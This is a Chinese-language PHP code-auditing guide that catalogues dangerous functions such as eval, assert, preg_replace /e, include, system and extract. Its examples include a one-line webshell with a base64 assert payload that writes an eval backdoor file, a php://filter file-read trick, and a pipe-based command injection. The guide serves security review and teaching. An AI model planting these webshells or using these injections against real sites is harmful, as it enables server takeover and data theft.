1. 程式人生 > >PHP程式碼審計-常見危險函式

PHP程式碼審計-常見危險函式

PHP程式碼執行函式

eval & assert & preg_replace

eval 函式

說明:

mixed eval ( string $code )
把字串 code 作為PHP程式碼執行。

注意:

函式 eval() 語言結構是 非常危險的, 因為它允許執行任意 PHP 程式碼。 它這樣用是很危險的。如果您仔細的確認過,除了使用此結構以外 別無方法, 請多加註意,不要允許傳入任何由使用者 提供的、未經完整驗證過的資料。

引數

code:

需要被執行的字串
程式碼不能包含開啟/關閉 PHP tags。比如,‘echo “Hi!”;’

不能這樣傳入:

返回值

eval() 返回 NULL,除非在執行的程式碼中return了一個值,函式返回傳遞給return的值。 PHP 7 開始,執行的程式碼裡如果有一個 parse error,eval()會丟擲 ParseError 異常。在 PHP 7 之前, 如果在執行的程式碼中有 parse error,eval()返回FALSE,之後的程式碼將正常執行。無法使用 set_error_handler()捕獲 eval()中的解析錯誤。

簡單說

mixed eval ( string code)code 作為PHP程式碼執行。
很多常見的 webshell 都是用eval 來執行具體操作的。

<?php
  $string = 'cup';
  $name = 'coffee';
  $str = 'This is a $string with my $name in it.';
  echo $str. "\n";
  eval("\$str = \"$str\";");
  echo $str. "\n";
?>

assert 函式

說明

bool assert ( mixed $assertion [, string $description ] )
檢查一個斷言是否為 FALSE。(把字串 $assertion 作為PHP程式碼執行)

編寫程式碼時,我們總是會做出一些假設,斷言

就是用於在程式碼中捕捉這些假設,可以將斷言看作是異常處理的一種高階形式。程式設計師斷言在程式中的某個特定點該的表示式值為真。如果該表示式為假,就中斷操作。
斷言一詞來自邏輯學,在邏輯學中,“斷言”是“斷定一個特定前提為真的陳述”,在軟體測試中也是類似的含義。可以理解為斷定一個表示式結果為真,不為真就通過拋異常或者其他方式使這個測試用例失敗。

assert() 會檢查指定的 assertion 並在結果為 FALSE 時採取適當的行動。

assertions

如果 assertion 是字串,它將會被 assert() 當做 PHP 程式碼來執行。 assertion 是字串的優勢是當禁用斷言時它的開銷會更小,並且在斷言失敗時訊息會包含 assertion 表示式。 這意味著如果你傳入了 boolean 的條件作為 assertion,這個條件將不會顯示為斷言函式的引數;在呼叫你定義的 assert_options() 處理函式時,條件會轉換為字串,而布林值 FALSE 會被轉換成空字串。
斷言這個功能應該只被用來除錯。 你應該用於完整性檢查時測試條件是否始終應該為 TRUE,來指示某些程式錯誤,或者檢查具體功能的存在(類似擴充套件函式或特定的系統限制和功能)。
斷言不應該用於普通執行時操作,類似輸入引數的檢查。 作為一個經驗法則,在斷言禁用時你的程式碼也應該能夠正確地執行。
assert() 的行為可以通過 assert_options() 來配置,或者手冊頁面上描述的 .ini 設定。

引數

assertion
斷言。在PHP5中必須是string型或Boolean型。在PHP,可以是任何有返回值的表示式

description
如果 assertion 失敗了,選項 description 將會包括在失敗資訊裡。

返回值

assertion 是 false 則返回 FALSE,否則是 TRUE。

簡單說

檢查一個斷言是否為 FALSE。
assert() 會檢查指定的 assertion 並在結果為 FALSE 時採取適當的行動。
如果 assertion 是字串,它將會被 assert() 當做 PHP 程式碼來執行。

因為大多數防毒軟體把 eval 列入黑名單了,所以用 assert 來替代eval 來執行具體操作的。

<?php $_GET[a]($_GET[b]);?>  //一句話木馬
//payload: ?a=assert&b={fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwJF9QT1NUW2NdKTsgPz4))};

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5
waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw
oJF9QT1NUW2NdKTsgPz4x%29%29};

preg_replace 函式

說明

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜尋subject中匹配pattern的部分, 以replacement進行替換。

引數

pattern
要搜尋的模式。可以使一個字串或字串陣列。可以使用一些PCRE修飾符

replacement
用於替換的字串或字串陣列。
如果這個引數是一個字串,並且 pattern 是一個數組,那麼所有的模式都使用這個字串進行替換。
如果 pattern 和 replacement 都是陣列,每個pattern 使用replacement 中對應的元素進行替換。
如果replacement 中的元素比pattern 中的少, 多出來的pattern 使用空字串進行替換。

replacement 中可以包含後向引用\\n$n,語法上首選後者。 每個這樣的引用將被匹配到的第n個捕獲子組捕獲到的文字替換。 n 可以是0-99,\\0$0 代表完整的模式匹配文字。
當在替換模式下工作並且後向引用後面緊跟著需要是另外一個數字(比如:在一個匹配模式後緊接著增加一個原文數字)。

當使用被棄用的 e 修飾符時, 這個函式會轉義一些字元(即:、 \ 和 NULL) 然後進行後向引用替換。當這些完成後請確保後向引用解析完後沒有單引號或 雙引號引起的語法錯誤(比如: 'strlen(\'$1\')+strlen("$2")')。確保符合PHP的 字串語法,並且符合eval語法。因為在完成替換後, 引擎會將結果字串作為php程式碼使用eval方式進行評估並將返回值作為最終參與替換的字串。

subject
要進行搜尋和替換的字串或字串陣列。
如果subject是一個數組,搜尋和替換回在subject 的每一個元素上進行, 並且返回值也會是一個數組。

limit
每個模式在每個subject上進行替換的最大次數。預設是 -1(無限)。

count
如果指定,將會被填充為完成的替換次數。

返回值

如果subject是一個數組, preg_replace()返回一個數組, 其他情況下返回一個字串。
如果匹配被查詢到,替換後的subject被返回,其他情況下 返回沒有改變的 subject。如果發生錯誤,返回 NULL 。

錯誤/異常

PHP 5.5.0 起, 傳入 “\e” 修飾符的時候,會產生一個 E_DEPRECATED 錯誤; PHP 7.0.0 起,會產生 E_WARNING 錯誤,同時 “\e” 也無法起效。

簡單說

preg_replace — 執行一個正則表示式的搜尋和替換
/e 修正符使 preg_replace()replacement 引數當作 PHP 程式碼

preg_replace("/test/e",$_GET["h"],"jutst test"); 

如果我們提交 ?h=phpinfo(),/e就會將h引數當做PHP程式碼,phpinfo()將會被執行。

create_function

string create_function ( string $args , string $code )

建立一個匿名函式,並返回獨一無二的函式名。

$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');

就相當於system(‘whoami’);

call_user_func

說明

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一個引數 callback 是被呼叫的回撥函式,其餘引數是回撥函式的引數。

引數

callback
將被呼叫的回撥函式(callable)。

parameter
0個或以上的引數,被傳入回撥函式。

Note:
請注意,傳入call_user_func()的引數不能為引用傳遞。

返回值

返回回撥函式的返回值。

call_user_func_array

說明

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一個引數作為回撥函式(callback)呼叫,把引數陣列作(param_arr)為回撥函式的的引數傳入。

引數

callback
被呼叫的回撥函式。
param_arr
要被傳入回撥函式的陣列,這個陣列得是索引陣列。

返回值

返回回撥函式的結果。如果出錯的話就返回FALSE

包含函式

require、include、require_once、include_once
包含函式 一共有四個,主要作用為包含並執行指定檔案。

  • 官方手冊:require
    require 和 include 幾乎完全一樣,除了處理失敗的方式不同之外。require 在出錯時產生 E_COMPILE_ERROR 級別的錯誤。換句話說將導致指令碼中止而 include 只產生警告(E_WARNING),指令碼會繼續執行。
  • 官方手冊:require_once
    require_once 語句和 require 語句完全相同,唯一區別是 PHP 會檢查該檔案是否已經被包含過,如果是則不會再次包含。
    參見 include_once 的文件來理解 _once 的含義,並理解與沒有 _once 時候有什麼不同。
  • 官方手冊:include_once
    include_once 語句在指令碼執行期間包含並執行指定檔案。此行為和 include 語句類似,唯一區別是如果該檔案中已經被包含過,則不會再次包含。如同此語句名字暗示的那樣,只會包含一次。
    include_once 可以用於在指令碼執行期間同一個檔案有可能被包含超過一次的情況下,想確保它只被包含一次以避免函式重定義,變數重新賦值等問題。

簡單說

include $file;
在變數 $file 可控的情況下,我們就可以包含任意檔案,從而達到 getshell 的目的。
另外,在不同的配置環境下,可以包含不同的檔案。
因此又分為遠端檔案包含本地檔案包含
包含函式也能夠讀取任意檔案內容,這就需要用到【支援的協議和封裝協議】和【過濾器】。
例如,利用php流filter讀取任意檔案

include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解釋:?file=php:// 協議 / 過濾器 / 檔案

命令執行函式

  • exec() — 執行一個外部程式
  • passthru() — 執行外部程式並且顯示原始輸出
  • proc_open() — 執行一個命令,並且開啟用來輸入/輸出的檔案指標。
  • shell_exec() — 通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回。
  • system() — 執行外部程式,並且顯示輸出
  • popen() — 通過 popen() 的引數傳遞一條命令,並對 popen() 所開啟的檔案進行執行

執行函式包括但不限於上述幾個。
同樣的道理、只要命令的引數可控就能執行系統命令。
例如:
system( $cmd );或者 system('ping -c 3 ' . $target );
cmdtarget 可控的話,可以用管道符等特殊字元截斷從而執行任意命令。
$target = 'a | whoami';

檔案操作函式

任意檔案讀取、寫入、刪除往往是上面幾個函式受到了控制(當然還有其他的函式)。
不同的函式在不同的場景有不同的作用和不同的利用手法。
讀取:可以讀取配置等檔案,拿到key
寫入:可以寫入shell程式碼相關的內容
刪除:可以刪除.lock檔案而可以重新安裝覆蓋
更多思路請自行挖掘測試!!

特殊函式

資訊洩漏

phpinfo

bool phpinfo ([ int $what = INFO_ALL ] )
phpinfo — 輸出關於 PHP 配置的資訊
輸出 PHP 當前狀態的大量資訊,包含了 PHP 編譯選項、啟用的擴充套件、PHP 版本、伺服器資訊和環境變數(如果編譯為一個模組的話)、PHP環境變數、作業系統版本資訊、path 變數、配置選項的本地值和主值、HTTP 頭和PHP授權資訊(License)。
因為每個系統安裝得有所不同,phpinfo() 常用於在系統上檢查 配置設定預定義變數
phpinfo() 同時是個很有價值的、包含所有 EGPCS(Environment, GET, POST, Cookie, Server) 資料的除錯工具。

軟連線-讀取檔案內容

symlink — 建立符號連線
bool symlink ( string $target , string $link )
symlink() 對於已有的 target 建立一個名為 link 的符號連線。

readlink — 返回符號連線指向的目標
string readlink ( string $path )
readlink() 和同名的 C 函式做同樣的事,返回符號連線的內容。

環境變數

getenv

getenv — 獲取一個環境變數的值
string getenv ( string $varname )
獲取一個環境變數的值。

putenv

putenv — 設定環境變數的值
bool putenv ( string $setting )
新增 setting 到伺服器環境變數。 環境變數僅存活於當前請求期間。 在請求結束時環境會恢復到初始狀態。

載入擴充套件

dl — 執行時載入一個 PHP 擴充套件
bool dl ( string $library )
載入指定引數 library 的 PHP 擴充套件。

配置相關

ini_get

ini_get — 獲取一個配置選項的值
string ini_get ( string $varname )
成功時返回配置選項的值。

ini_set

string ini_set ( string $varname , string $newvalue )

ini_alter

string ini_alter ( string $varname , string $newvalue )
設定指定配置選項的值。這個選項會在指令碼執行時保持新的值,並在指令碼結束時恢復。

ini_restore

void ini_restore ( string $varname )
恢復指定的配置選項到它的原始值。

數字判斷

is_numeric

bool is_numeric ( mixed $var )
如果 var 是數字和數字字串則返回 TRUE,否則返回 FALSE。
僅用is_numeric判斷而不用intval轉換就有可能插入16進位制的字串到資料庫,進而可能導致sql二次注入。

陣列相關

in_array

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 haystack 中搜索 needle,如果沒有設定 strict 則使用寬鬆的比較。
該函式有一個特性,比較之前會進行自動型別轉換。
$a = '1abc';
in_array($a,array(1,2,3))的返回值會是真

變數覆蓋

parse_str

void parse_str ( string $str [, array &$arr ] )
如果 str 是 URL 傳遞入的查詢字串(query string),則將它解析為變數並設定到當前作用域。

extract

int extract ( array &vararray[,intextract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函式用來將變數從陣列中匯入到當前的符號表中。檢查每個鍵名看是否可以作為一個合法的變數名,同時也檢查和符號表中已有的變數名的衝突。

mb_parse_str

bool mb_parse_str ( string $encoded_string [, array &$result ] )
解析 GET/POST/COOKIE 資料並設定全域性變數。 由於 PHP 不提供原始 POST/COOKIE 資料,目前它僅能夠用於 GET 資料。 它解析了 URL 編碼過的資料,檢測其編碼,並轉換編碼為內部編碼,然後設定其值為 array 的 result 或者全域性變數。

import_request_variables

bool import_request_variables ( string $types [, string $prefix ] )
將 GET/POST/Cookie 變數匯入到全域性作用域中。如果你禁止了 register_globals,但又想用到一些全域性變
量,那麼此函式就很有用。

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

輸出:valuefoo barbaz

列目錄

glob

array glob ( string $pattern [, int $flags = 0 ] )
glob() 函式依照 libc glob() 函式使用的規則尋找所有與 pattern 匹配的檔案路徑,類似於一般 shells 所用的
規則一樣。不進行縮寫擴充套件或引數替代。

無引數獲取資訊

get_defined_vars

array get_defined_vars ( void )
返回一個包含所有已定義變數列表的多維陣列,這些變數包括環境變數、伺服器變數和使用者定義的變數。

get_defined_constants

array get_defined_constants ([ bool $categorize = false ] )
返回當前所有已定義的常量名和值。 這包含 define() 函式所建立的,也包含了所有擴充套件所建立的。

get_defined_functions

array get_defined_functions ( void )
返回一個包含所有已定義函式列表的多維陣列

get_included_files

array get_included_files ( void )
返回所有被 include、 include_once、 require 和 require_once 的檔名。